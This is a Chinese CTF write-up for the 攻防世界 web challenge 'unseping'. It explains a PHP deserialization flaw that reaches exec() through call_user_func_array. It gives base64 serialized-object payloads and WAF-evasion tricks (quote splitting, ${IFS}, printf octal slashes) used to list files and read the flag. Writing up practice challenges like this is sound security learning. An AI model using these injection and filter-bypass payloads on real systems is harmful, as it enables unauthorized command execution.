首页 > 其他分享 >CTFer成长记录——CTF之Web专题·攻防世界—unseping

CTFer成长记录——CTF之Web专题·攻防世界—unseping

时间:2023-07-31 16:11:20浏览次数:56  
标签:Web 函数 args ping CTF 参数 CTFer array method

一、题目链接

  https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  本题主要是代码审计和反序列化;

代码审计:首先我们需要知道整个题的基本执行顺序:post传参——>base64编码——>反序列化——>调用__wakeup()魔术方法——>执行waf()方法过滤——>调用析构方法()。

  其他的函数例如ping,call_user_func_array()函数需要一定的时机执行,这也意味着我们需控制参数ctf的值来调用他们。

  首先确定ctf参数一定是一个对象,我们把它定为$a,反序列化基本上都这样考;接着为对象中的两个成员变量赋值,那么就需要看下面的代码了:

 function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

  我们关注这个析构代码,想要执行call这个函数就必须满足if条件:in_array(需要搜索的字符串,在哪个数组中搜)是一个搜索函数。题目在ping数组中搜索$a中的method的值,如果等于ping,就执行call函数,那么我们确定 method的值为ping;接着看call这个函数:它是一个回调函数,call_user_func_array(),其实有两种使用方法:

function a($b, $c)
{  
                echo $b; 
                echo $c; 
 } 
          call_user_func_array('a', array("111", "222"));
             //第一个参数为函数名称,第二个参数为数组;意思是调用a函数,其中a函数的参数为array("111","222")

   第二种使用方法:也是内部类的方法

Class ClassA 
{ 
         function bc($b, $c) 
      { 
                  $bc = $b + $c; 
                  echo $bc; 

       }
 } 
          call_user_func_array(array('ClassA','bc'), array("111", "222")); 
          //输出  333
          //这里可以看出当调用内部类的时候,第一个参数会被转换成数组类型,这个数组的第一个元素是当前的类名称,第二个元素的函数的名称;
          第二个参数是数组类型,其中的元素是传递给第一个参数中,数组中的函数名称的参数。比较绕口

   那么题目用到的就是第二种方法:call_user_func_array(array($this, $this->method), $this->args);先分析第一个参数:array($this,$this->method) 第一个$this是为了符合语法规范,第二个$this->method表示调用method这个函数,当method=ping,就是调用后面的ping函数,正好能够达成执行ping函数的要求。于是更加确定了method的值一定是ping;第二个参数语法要求一定是一个数组,但是它这里仅仅$this->args表示,那么args也一定是一个数组,具体的值是多少呢?call函数第二个参数是给传参用的,传给第一个参数所调用的函数,也就是ping函数:

function ping($ip){ //这里的ip就是args传过来的参数
        exec($ip, $result);//命令执行——>推出args数组一定含有ls ,cat 等字符串
                           //exec()函数执行第一个参数,并把结果放在第二个参数中
        var_dump($result);//输出第二个参数
        }

   因此我们确定args=array(命令),由于后面有waf函数检测关键词,我们需要对绕过下:比如ls,可以用''空字符绕过,那么args="l''s"

  于是$a(ctf参数表示的对象)= new ease("ping",array("l''s"));然后对其序列化+base64编码看看情况:

$a = new ease("ping",array("l''s"));
$b=serialize($a);
$b=base64_encode($b);
var_dump($b);

  第一次payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

  这个数组里面保存了ls命令执行的结果,可以看到里面有两个文件:flag_1s_here和index.php。那么接下来需要访问到flag_1s_here。flag_1s_here没有后缀,那么它很可能是一个文件夹,还需要ls一遍,同样是对args参数进行操作。

  args=array('l""s${IFS}f""lag_1s_here');这里注意细节:array里面的的引号是单引号;单引号会把里面的内容完全当成字符串,而双引号会进行解析,如果用双引号会导致${IFS}报错。payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

  最后得读取这串flag:cat flag_1s_here/flag_831b69012c67b35f.php,一样进行绕过:flag->f""lag;空格->${IFS};/->printf及$()->$(printf${IFS}"\57");cat->c""at;php->p""hp

  最后args=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

  payload:  Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

  

三、总结

  本题对我来说还是复杂了点(。折腾了一个多小时才弄懂,不过能学到很多的知识。

  参考资料:https://www.cnblogs.com/niyani/p/16961716.html

标签:Web,函数,args,ping,CTF,参数,CTFer,array,method
From: https://www.cnblogs.com/miraclewolf/p/17593724.html

相关文章

  • IDEA,Pycharm,Goland,Webstorm 最新发布2023.2版本,亲测好用!
    期待已久的IntelliJIDEA2023.2终于正式发布了,同时发布的还有Pycharm,Goland,Webstorm等。具体的改变相信大家已经提前有所了解的了,我迫不及待的就下载体验了下,UI变好看了,使用起来感觉更流畅,好用推荐!IDEA2023.2最新版激活成功如下GoLand2023.2最新版激活成功如下......
  • 手把手教你在云环境炼丹(部署Stable Diffusion WebUI)
    前几天写了一篇《手把手教你在本机安装StableDiffusion秋叶整合包》的文章,有些同学反映对硬件的要求太高,显卡太TM贵了。今天我再分享一个云服务器炼丹的方法,方便大家快速入门上手,这个云服务不需要特殊网络设置,能连接公网网盘,随开随用,有3090显卡,也有4090显卡,不过我经常使用的是A5......
  • 【Web开发指南】如何用MyEclipse进行JavaScript开发?
    由于MyEclipse中有高级语法高亮显示、智能内容辅助和准确验证等特性,进行JavaScript编码不再是一项繁琐的任务。MyEclipsev2023.1.1离线版下载MyEclipse技术交流群:742336981欢迎一起进群讨论JavaScript项目在MyEclipse 2021及以后的版本中,大多数JavaScript支持都是开箱即用......
  • websocket应用的是哪个协议
    WebSocket应用的是WebSocket协议。WebSocket是一种在单个TCP连接上进行全双工通信的协议,它允许在客户端和服务器之间建立持久性的连接,并支持双向实时数据传输。相比传统的HTTP请求-响应模式,WebSocket具有更低的延迟和更高的性能,适用于实时性要求较高的应用场景,如在线聊天、实时游戏......
  • 001 新建Net Web API工程
    1、新建工程打开VS2022,点击新建项目,弹出创建新项目对话框,然后在项目模板处,选择C#、所有平台以及WebAPI,如下图所示。选择了下面的唯一模板,点击下一步,设置项目的名称、保存路径等。如下图所示。             点击下一步,可使用默认的配置,如下图所示。......
  • DASCTF 2023 & 0X401七月暑期挑战赛——— 解析viphouse
    DASCTF2023&0X401七月暑期挑战赛———解析viphouse保护策略静态分析main  主函数在while循环提供了一个菜单。void__fastcall__noreturnmain(__int64a1,char**a2,char**a3){charnptr[10];//[rsp+Eh][rbp-12h]BYREFunsigned__int64v4;//[rsp......
  • web APIs获取dom元素
    1.获取页面中的标签最常用的两种方式 document.querySelectorAll和document.querySelector 2他们两个区别是什么document.querySelectorAll可以选择多个元素,得到伪数组,要遍历才能得到每一个元素document.querySelector只能得到一个元素,可以直接操作注意:它们里面的小括......
  • [SWPUCTF 2021 新生赛]no_wakeup
    [SWPUCTF2021新生赛]no_wakeup题目来源:nssctf题目类型:web涉及考点:PHP反序列化1.题目给了一个点击按钮,点进去看看:进去后就是代码审计了:<?phpheader("Content-type:text/html;charset=utf-8");error_reporting(0);show_source("class.php");classHaHaHa{p......
  • BUUCTF Findkey
     对题目分析:if(Msg==517){if(strlen(String1)>6)//String位数小于等于6ExitProcess(0);if(strlen(String1)){memset(v17,0,sizeof(v17));v6=strlen(String1);memcpy(v17,......
  • [GUET-CTF2019]number_game
    [GUET-CTF2019]number_game  打开题目,立刻定位关键函数for(i=0;i<=4;++i){for(j=0;j<=4;++j){for(k=j+1;k<=4;++k){if(*(&unk_601060+5*i+j)==*(&unk_601060+5*i+k))......